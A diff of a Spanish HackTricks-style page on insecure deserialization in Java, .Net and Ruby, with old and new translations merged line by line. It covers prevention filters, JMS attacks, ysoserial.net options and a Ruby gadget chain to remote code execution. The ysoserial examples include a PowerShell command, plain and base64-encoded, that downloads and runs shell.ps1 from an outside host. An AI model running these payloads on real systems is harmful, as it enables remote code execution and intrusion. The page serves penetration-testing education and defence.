// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream { public class LookAheadObjectInputStream extends ObjectInputStream {
@ -539,17 +540,17 @@ return super.resolveClass(desc);
} }
} }
``` ```
**Usar un Agente Java para Mejora de Seguridad** ofrece una solución alternativa cuando la modificación de código no es posible. Este método se aplica principalmente para **poner en lista negra clases dañinas**, utilizando un parámetro de JVM: **Usando un Agente de Java para Mejora de Seguridad** ofrece una solución alternativa cuando la modificación del código no es posible. Este método se aplica principalmente para **bloquear clases dañinas**, utilizando un parámetro de la JVM:
``` ```
-javaagent:name-of-agent.jar -javaagent:name-of-agent.jar
``` ```
Proporciona una forma de asegurar la deserialización de forma dinámica, ideal para entornos donde los cambios de código inmediatos son imprácticos. Proporciona una forma de asegurar la deserialización de manera dinámica, ideal para entornos donde los cambios de código inmediatos son imprácticos.
Ver un ejemplo en [rO0 de Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) Consulta un ejemplo en [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Implementación de Filtros de Serialización**: Java 9 introdujo filtros de serialización a través de la interfaz **`ObjectInputFilter`**, proporcionando un mecanismo potente para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros se pueden aplicar globalmente o por flujo, ofreciendo un control detallado sobre el proceso de deserialización. **Implementación de Filtros de Serialización**: Java 9 introdujo filtros de serialización a través de la **`ObjectInputFilter`** interface, proporcionando un mecanismo poderoso para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros se pueden aplicar globalmente o por flujo, ofreciendo un control granular sobre el proceso de deserialización.
Para utilizar los filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para flujos específicos. Por ejemplo: Para utilizar filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para flujos específicos. Por ejemplo:
```java ```java
ObjectInputFilter filter = info -> { ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -561,16 +562,16 @@ return Status.ALLOWED;
}; };
ObjectInputFilter.Config.setSerialFilter(filter); ObjectInputFilter.Config.setSerialFilter(filter);
``` ```
**Aprovechando Bibliotecas Externas para una Seguridad Mejorada**: Bibliotecas como **NotSoSerial**, **jdeserialize** y **Kryo** ofrecen características avanzadas para controlar y monitorear la deserialización en Java. Estas bibliotecas pueden proporcionar capas adicionales de seguridad, como la creación de listas blancas o negras de clases, analizar objetos serializados antes de deserializarlos e implementar estrategias personalizadas de serialización. **Aprovechando Bibliotecas Externas para una Mayor Seguridad**: Bibliotecas como **NotSoSerial**, **jdeserialize** y **Kryo** ofrecen características avanzadas para controlar y monitorear la deserialización de Java. Estas bibliotecas pueden proporcionar capas adicionales de seguridad, como la creación de listas blancas o negras de clases, el análisis de objetos serializados antes de la deserialización e implementar estrategias de serialización personalizadas.
* **NotSoSerial** intercepta procesos de deserialización para prevenir la ejecución de código no confiable. * **NotSoSerial** intercepta los procesos de deserialización para prevenir la ejecución de código no confiable.
* **jdeserialize** permite analizar objetos Java serializados sin deserializarlos, ayudando a identificar contenido potencialmente malicioso. * **jdeserialize** permite el análisis de objetos Java serializados sin deserializarlos, ayudando a identificar contenido potencialmente malicioso.
* **Kryo** es un marco de serialización alternativo que enfatiza la velocidad y eficiencia, ofreciendo estrategias de serialización configurables que pueden mejorar la seguridad. * **Kryo** es un marco de serialización alternativo que enfatiza la velocidad y eficiencia, ofreciendo estrategias de serialización configurables que pueden mejorar la seguridad.
### Referencias ### Referencias
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
* Charla sobre deserialización y ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) * Deserialización y charla de ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) * [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) * [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
* Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) * Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
@ -578,19 +579,20 @@ ObjectInputFilter.Config.setSerialFilter(filter);
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) * [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) * [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) * [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
* Documento sobre deserializaciones CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) * Deserialización de Java y .Net JSON **documento:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* CVEs de deserialización: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## Inyección JNDI y log4Shell ## Inyección JNDI & log4Shell
Encuentra qué es **la Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página: Encuentra qué es **Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} {% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md) [jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
{% endcontent-ref %} {% endcontent-ref %}
## JMS - Servicio de Mensajes Java ## JMS - Servicio de Mensajes de Java
> El API del **Servicio de Mensajes Java** (**JMS**) es un API de middleware orientado a mensajes en Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definido por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicaciones basadas en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea desacoplada, confiable y asincrónica. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)). > La **Java Message Service** (**JMS**) API es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
### Productos ### Productos
@ -602,10 +604,10 @@ Hay varios productos que utilizan este middleware para enviar mensajes:
### Explotación ### Explotación
Entonces, básicamente hay **un montón de servicios que utilizan JMS de una manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas) podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\ Entonces, básicamente hay un **montón de servicios que utilizan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\
Esto significa que en esta explotación todos los **clientes que vayan a utilizar ese mensaje se infectarán**. Esto significa que en esta explotación todos los **clientes que vayan a usar ese mensaje se infectarán**.
Debes recordar que incluso si un servicio es vulnerable (porque está deserializando de forma insegura la entrada del usuario) aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad. Debes recordar que incluso si un servicio es vulnerable (porque está deserializando de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad.
La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **conectar y atacar estos servicios enviando varios objetos maliciosos serializados utilizando gadgets conocidos**. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable. La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **conectar y atacar estos servicios enviando varios objetos maliciosos serializados utilizando gadgets conocidos**. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.
@ -616,10 +618,11 @@ La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **
## .Net ## .Net
En el contexto de .Net, los exploits de deserialización operan de manera similar a los encontrados en Java, donde los gadgets son explotados para ejecutar código específico durante la deserialización de un objeto. En el contexto de .Net, los exploits de deserialización operan de manera similar a los encontrados en Java, donde se explotan gadgets para ejecutar código específico durante la deserialización de un objeto.
### Huella digital
#### Caja Blanca ### Huella Digital
#### WhiteBox
El código fuente debe ser inspeccionado en busca de ocurrencias de: El código fuente debe ser inspeccionado en busca de ocurrencias de:
@ -628,28 +631,28 @@ El código fuente debe ser inspeccionado en busca de ocurrencias de:
El enfoque debe estar en los serializadores que permiten que el tipo sea determinado por una variable bajo control del usuario. El enfoque debe estar en los serializadores que permiten que el tipo sea determinado por una variable bajo control del usuario.
#### Caja Negra #### BlackBox
La búsqueda debe apuntar a la cadena codificada en Base64 **AAEAAAD/////** o cualquier patrón similar que pueda ser deserializado en el lado del servidor, otorgando control sobre el tipo a ser deserializado. Esto podría incluir, pero no se limita a, estructuras **JSON** o **XML** que presenten `TypeObject` o `$type`. La búsqueda debe dirigirse a la cadena codificada en Base64 **AAEAAAD/////** o cualquier patrón similar que pueda ser deserializado en el lado del servidor, otorgando control sobre el tipo a deserializar. Esto podría incluir, pero no se limita a, estructuras **JSON** o **XML** que presenten `TypeObject` o `$type`.
### ysoserial.net ### ysoserial.net
En este caso puedes utilizar la herramienta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **crear los exploits de deserialización**. Una vez descargado el repositorio de git, debes **compilar la herramienta** utilizando Visual Studio, por ejemplo. En este caso, puedes usar la herramienta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **crear los exploits de deserialización**. Una vez descargado el repositorio git, deberías **compilar la herramienta** usando Visual Studio, por ejemplo.
Si deseas aprender sobre **cómo ysoserial.net crea su exploit** puedes [**consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + formateador Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). Si deseas aprender sobre **cómo ysoserial.net crea su exploit**, puedes [**consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Las opciones principales de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, **`--output`** y **`--plugin`.** Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, **`--output`** y **`--plugin`.**
* **`--gadget`** se utiliza para indicar el gadget a abusar (indica la clase/función que será abusada durante la deserialización para ejecutar comandos). * **`--gadget`** se usa para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos).
* **`--formatter`**, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca está utilizando el back-end para deserializar la carga útil y usar la misma para serializarla). * **`--formatter`**, se usa para indicar el método para serializar el exploit (necesitas saber qué biblioteca está usando el back-end para deserializar la carga y usar la misma para serializarla).
* **`--output`** se utiliza para indicar si deseas el exploit en formato **raw** o codificado en **base64**. _Ten en cuenta que **ysoserial.net** codificará la carga útil usando **UTF-16LE** (codificación utilizada de forma predeterminada en Windows), por lo que si obtienes el raw y simplemente lo codificas desde una consola de Linux, podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB, la carga útil funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará)._ * **`--output`** se usa para indicar si deseas el exploit en **crudo** o **codificado en base64**. _Ten en cuenta que **ysoserial.net** **codificará** la carga utilizando **UTF-16LE** (codificación utilizada por defecto en Windows), así que si obtienes el crudo y simplemente lo codificas desde una consola de linux, podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB, la carga funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará)._
* **`--plugin`** ysoserial.net admite plugins para crear **exploits para frameworks específicos** como ViewState * **`--plugin`** ysoserial.net admite plugins para crear **exploits para marcos específicos** como ViewState.
#### Más parámetros de ysoserial.net #### Más parámetros de ysoserial.net
* `--minify` proporcionará una **carga útil más pequeña** (si es posible) * `--minify` proporcionará una **carga útil más pequeña** (si es posible).
* `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso) * `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso).
* `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (insensible a mayúsculas y minúsculas) * `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas).
**Ejemplos de ysoserial** para crear exploits: **Ejemplos de ysoserial** para crear exploits:
```bash ```bash
@ -669,7 +672,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode #Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
``` ```
**ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a comprender mejor cómo funciona cada exploit: `--test`. Si indicas este parámetro, **ysoserial.net** intentará el **exploit localmente**, para que puedas probar si tu carga útil funcionará correctamente. Este parámetro es útil porque si revisas el código, encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): **ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`\
Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así que puedes probar si tu payload funcionará correctamente.\
Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java ```java
if (inputArgs.Test) if (inputArgs.Test)
{ {
@ -683,7 +688,7 @@ Debugging.ShowErrors(inputArgs, err);
} }
} }
``` ```
Esto significa que para probar el exploit, el código llamará a [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) Esto significa que para probar la explotación, el código llamará a [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
```java ```java
public static object JsonNet_deserialize(string str) public static object JsonNet_deserialize(string str)
{ {
@ -694,47 +699,46 @@ TypeNameHandling = TypeNameHandling.Auto
return obj; return obj;
} }
``` ```
En el **código anterior es vulnerable al exploit creado**. Por lo tanto, si encuentras algo similar en una aplicación .Net, probablemente esa aplicación también sea vulnerable. En el **código anterior es vulnerable al exploit creado**. Así que si encuentras algo similar en una aplicación .Net, significa que probablemente esa aplicación también sea vulnerable.\
Por lo tanto, el **`--test`** permite entender **qué fragmentos de código son vulnerables** al exploit de deserialización que **ysoserial.net** puede crear.
Por lo tanto, el parámetro **`--test`** nos permite entender **qué fragmentos de código son vulnerables** al exploit de deserialización que puede crear **ysoserial.net**.
### ViewState ### ViewState
Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_ViewState de .Net**](exploiting-\_\_viewstate-parameter.md) para **ejecutar código arbitrario**. Si **ya conoces los secretos** utilizados por la máquina víctima, [lee este post para saber cómo ejecutar código](exploiting-\_\_viewstate-knowing-the-secret.md). Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_ViewState de .Net**](exploiting-\_\_viewstate-parameter.md) para **ejecutar código arbitrario.** Si **ya conoces los secretos** utilizados por la máquina víctima, [**lee este post para saber cómo ejecutar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
### Prevención ### Prevención
Para mitigar los riesgos asociados con la deserialización en .Net: Para mitigar los riesgos asociados con la deserialización en .Net:
* **Evita que los flujos de datos definan sus tipos de objetos.** Utiliza `DataContractSerializer` o `XmlSerializer` cuando sea posible. * **Evita permitir que los flujos de datos definan sus tipos de objeto.** Utiliza `DataContractSerializer` o `XmlSerializer` cuando sea posible.
* **Para `JSON.Net`, establece `TypeNameHandling` en `None`:** %%%TypeNameHandling = TypeNameHandling.None%%% * **Para `JSON.Net`, establece `TypeNameHandling` en `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
* **Evita usar `JavaScriptSerializer` con un `JavaScriptTypeResolver`.** * **Evita usar `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
* **Limita los tipos que pueden ser deserializados**, comprendiendo los riesgos inherentes con los tipos de .Net, como `System.IO.FileInfo`, que puede modificar las propiedades de los archivos del servidor, lo que potencialmente podría llevar a ataques de denegación de servicio. * **Limita los tipos que pueden ser deserializados**, entendiendo los riesgos inherentes con los tipos de .Net, como `System.IO.FileInfo`, que puede modificar las propiedades de los archivos del servidor, lo que podría llevar a ataques de denegación de servicio.
* **Ten cuidado con los tipos que tienen propiedades riesgosas**, como `System.ComponentModel.DataAnnotations.ValidationException` con su propiedad `Value`, que puede ser explotada. * **Ten cuidado con los tipos que tienen propiedades arriesgadas**, como `System.ComponentModel.DataAnnotations.ValidationException` con su propiedad `Value`, que puede ser explotada.
* **Controla de forma segura la instanciación de tipos** para evitar que los atacantes influyan en el proceso de deserialización, haciendo incluso que `DataContractSerializer` o `XmlSerializer` sean vulnerables. * **Controla de manera segura la instanciación de tipos** para evitar que los atacantes influyan en el proceso de deserialización, lo que haría que incluso `DataContractSerializer` o `XmlSerializer` sean vulnerables.
* **Implementa controles de lista blanca** utilizando un `SerializationBinder` personalizado para `BinaryFormatter` y `JSON.Net`. * **Implementa controles de lista blanca** utilizando un `SerializationBinder` personalizado para `BinaryFormatter` y `JSON.Net`.
* **Mantente informado sobre los gadgets de deserialización inseguros conocidos** dentro de .Net y asegúrate de que los deserializadores no instancien tales tipos. * **Mantente informado sobre gadgets de deserialización inseguros conocidos** dentro de .Net y asegúrate de que los deserializadores no instancien tales tipos.
* **Aísla el código potencialmente riesgoso** del código con acceso a internet para evitar exponer gadgets conocidos, como `System.Windows.Data.ObjectDataProvider` en aplicaciones WPF, a fuentes de datos no confiables. * **Aísla el código potencialmente arriesgado** del código con acceso a internet para evitar exponer gadgets conocidos, como `System.Windows.Data.ObjectDataProvider` en aplicaciones WPF, a fuentes de datos no confiables.
### **Referencias** ### **Referencias**
* Documento sobre deserialización JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf), charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * Documento sobre deserialización JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf) * [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) * [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby** ## **Ruby**
En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca **marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, **load**, se emplea para revertir un flujo de bytes a un objeto, un proceso conocido como deserialización. En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca **marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, **load**, se emplea para revertir un flujo de bytes de nuevo a un objeto, un proceso conocido como deserialización.
Para asegurar objetos serializados, **Ruby utiliza HMAC (Código de Autenticación de Mensajes Basado en Hash)**, garantizando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles: Para asegurar objetos serializados, **Ruby emplea HMAC (Código de Autenticación de Mensajes Basado en Hash)**, asegurando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles:
* `config/environment.rb` * `config/environment.rb`
* `config/initializers/secret_token.rb` * `config/initializers/secret_token.rb`
* `config/secrets.yml` * `config/secrets.yml`
* `/proc/self/environ` * `/proc/self/environ`
**Cadena de gadgets de deserialización genérica a RCE de Ruby 2.X (más información en** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: **Cadena de gadgets de deserialización genérica de Ruby 2.X a RCE (más información en** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby ```ruby
#!/usr/bin/env ruby #!/usr/bin/env ruby
@ -805,11 +809,11 @@ require "base64"
puts "Payload (Base64 encoded):" puts "Payload (Base64 encoded):"
puts Base64.encode64(payload) puts Base64.encode64(payload)
``` ```
Otra cadena de RCE para explotar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) Otro cadena RCE para explotar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Método .send() de Ruby ### Método Ruby .send()
Como se explica en [**este informe de vulnerabilidad**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), si alguna entrada de usuario no sanitizada llega al método `.send()` de un objeto ruby, este método permite **invocar cualquier otro método** del objeto con cualquier parámetro. Como se explica en [**este informe de vulnerabilidad**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), si alguna entrada no sanitizada de un usuario llega al método `.send()` de un objeto ruby, este método permite **invocar cualquier otro método** del objeto con cualquier parámetro.
Por ejemplo, llamar a eval y luego código ruby como segundo parámetro permitirá ejecutar código arbitrario: Por ejemplo, llamar a eval y luego código ruby como segundo parámetro permitirá ejecutar código arbitrario:
@ -819,7 +823,7 @@ Por ejemplo, llamar a eval y luego código ruby como segundo parámetro permitir
``` ```
{% endcode %} {% endcode %}
Además, si solo un parámetro de **`.send()`** es controlado por un atacante, como se mencionó en el análisis anterior, es posible llamar a cualquier método del objeto que **no necesite argumentos** o cuyos argumentos tengan **valores predeterminados**.\ Además, si solo un parámetro de **`.send()`** es controlado por un atacante, como se mencionó en el escrito anterior, es posible llamar a cualquier método del objeto que **no necesite argumentos** o cuyos argumentos tengan **valores predeterminados**.\
Para esto, es posible enumerar todos los métodos del objeto para **encontrar algunos métodos interesantes que cumplan con esos requisitos**. Para esto, es posible enumerar todos los métodos del objeto para **encontrar algunos métodos interesantes que cumplan con esos requisitos**.
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -846,16 +850,17 @@ candidate_methods.length() # Final number of methods=> 3595
``` ```
{% endcode %} {% endcode %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
